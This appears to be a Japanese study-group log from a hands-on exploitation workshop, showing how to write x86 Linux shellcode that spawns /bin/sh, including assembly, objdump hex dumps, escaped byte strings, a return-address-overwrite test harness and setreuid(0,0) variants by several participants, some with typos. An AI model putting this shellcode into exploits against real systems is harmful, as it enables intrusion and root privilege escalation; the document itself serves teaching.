2007-10-06 Exploiting実習-第3回 Defolos ■例題3.1 -----shell.s .global main main: jmp ONE TWO: popl %ebx xorl %eax, %eax movl %eax, 7(%ebx) mov %ebx, 8(%ebx) mov %eax, 12(%ebx) mov $11, %al leal 8(%ebx), %ecx leal 12(%ebx), %edx int $0x80 ONE: call TWO .string "/bin/sh" ----- コンパイルし、16進数表示。 ----- defolos@glazheim:~$ gcc shell.s defolos@glazheim:~$ objdump -d a.out 省略 08048354
: 8048354: eb 16 jmp 804836c 08048356 : 8048356: 5b pop %ebx 8048357: 31 c0 xor %eax,%eax 8048359: 89 43 07 mov %eax,0x7(%ebx) 804835c: 89 5b 08 mov %ebx,0x8(%ebx) 804835f: 89 43 0c mov %eax,0xc(%ebx) 8048362: b0 0b mov $0xb,%al 8048364: 8d 4b 08 lea 0x8(%ebx),%ecx 8048367: 8d 53 0c lea 0xc(%ebx),%edx 804836a: cd 80 int $0x80 0804836c : 804836c: e8 e5 ff ff ff call 8048356 8048371: 2f das 8048372: 62 69 6e bound %ebp,0x6e(%ecx) 8048375: 2f das 8048376: 73 68 jae 80483e0 <__libc_csu_fini> 8048378: 00 90 90 90 90 90 add %dl,0x90909090(%eax) 804837e: 90 nop 804837f: 90 nop 省略 ----- 必要な部分だけを取り出す。 ----- eb 16 5b 31 c0 89 43 07 89 5b 08 89 43 0c b0 0b 8d 4b 08 8d 53 0c cd 80 e8 e5 ff ff ff 2f 62 69 6e 2f 73 68 ----- テスト用プログラムに次のようにセットする。 ----- defolos@glazheim:~$ cat test.c unsigned char payload[]= "\xeb\x16\x5b\x31\xc0\x89\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; int main(void){ int *retadd; retadd = (int *)&retadd + 2; (*retadd) = (int)payload; return 0; } ----- コンパイルして撃ってみる。 ----- defolos@glazheim:~$ gcc test.c defolos@glazheim:~$ ./a.out sh-2.05b$ exit exit defolos@glazheim:~$ ----- shが起動していることがわかる。 今回はSUIDrootではないので、権限はdefolosのまま。 ■例題3.2 ----- .global main main: xorl %ebx, %ebx xorl %ecx, %ecx movb $70, %al int $0x80 jmp ONE TWO: popl %ebx xorl %eax, %eax movl %eax, 7(%ebx) mov %ebx, 8(%ebx) mov %eax, 12(%ebx) mov $11, %al leal 8(%ebx), %ecx leal 12(%ebx), %edx int $0x80 ----- ----- 31 db 31 c9 b0 46 cd 80 eb 16 5b 31 c0 89 43 07 89 5b 08 89 43 0c b0 0b 8d 4b 08 8d 53 0c cd 80 e8 e5 ff ff ff 2f 62 69 6e 2f 73 68 ----- ----- \x31\xdb\x31\xc9\xb0\x46\xcd\x80\xeb\x16\x5b\x31\xc0\x89\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68 ----- defolos@glazheim:~$ gcc test.c defolos@glazheim:~$ ./a.out sh-2.05b$ exit exit defolos@glazheim:~$ ■ipusiron's code1 main: jmp ONE TWO: popl %ebx xorl %eax, $eax movl %eax, %eax movl %eax, %ebx movb $70, %al int $0x80 ; xorl %eax, %eax movl %eax, 7(%ebx) mov %ebx, 8(%ebx) mov %eax, 12(%ebx) lea 8(%ebx),%ecx lea 12(%ebx),%edx movb $11, %al int $0x80 ONE: call TWO .string "/bin/sh" ■ipusiron's code2 .globl main main: jmp ONE TWO: popl %ebx xorl %eax, $eax movl %ebx, %esi movl %eax, %ebx movl %eax, %ecx movb $70, %al int $0x80 movl %esi, %ebx movl %eax, 7(%ebx) mov %ebx, 8(%ebx) mov %eax, 12(%ebx) lea 8(%ebx),%ecx lea 12(%ebx),%edx movb $11, %al int $0x80 ONE: call TWO .string "/bin/sh" ■bebe's code main: jmp ONE TWO: popl %ebx push %ebx xor %eax, %eax movl %eax, %ebx movl %eax, %ecx movb $70, %al int $0x80 pop %ebx xorl %eax, %eax movl %eax, 7(%ebx) mov %ebx, 8(%ebx) mov %eax, 12(%ebx) mov $11, %al leal 8(%ebx), %ecx leal 12(%ebx),%edx int $0x80 ONE: call TWO .string "/bin/sh" ■考察 もっとシェルコードの開発を効率化したい フィードバックでleaの説明を もっと余裕を持たせた時間配分を心がけます 多様なsetreuidシェルコードの実現方法が生まれ、有用だったと思う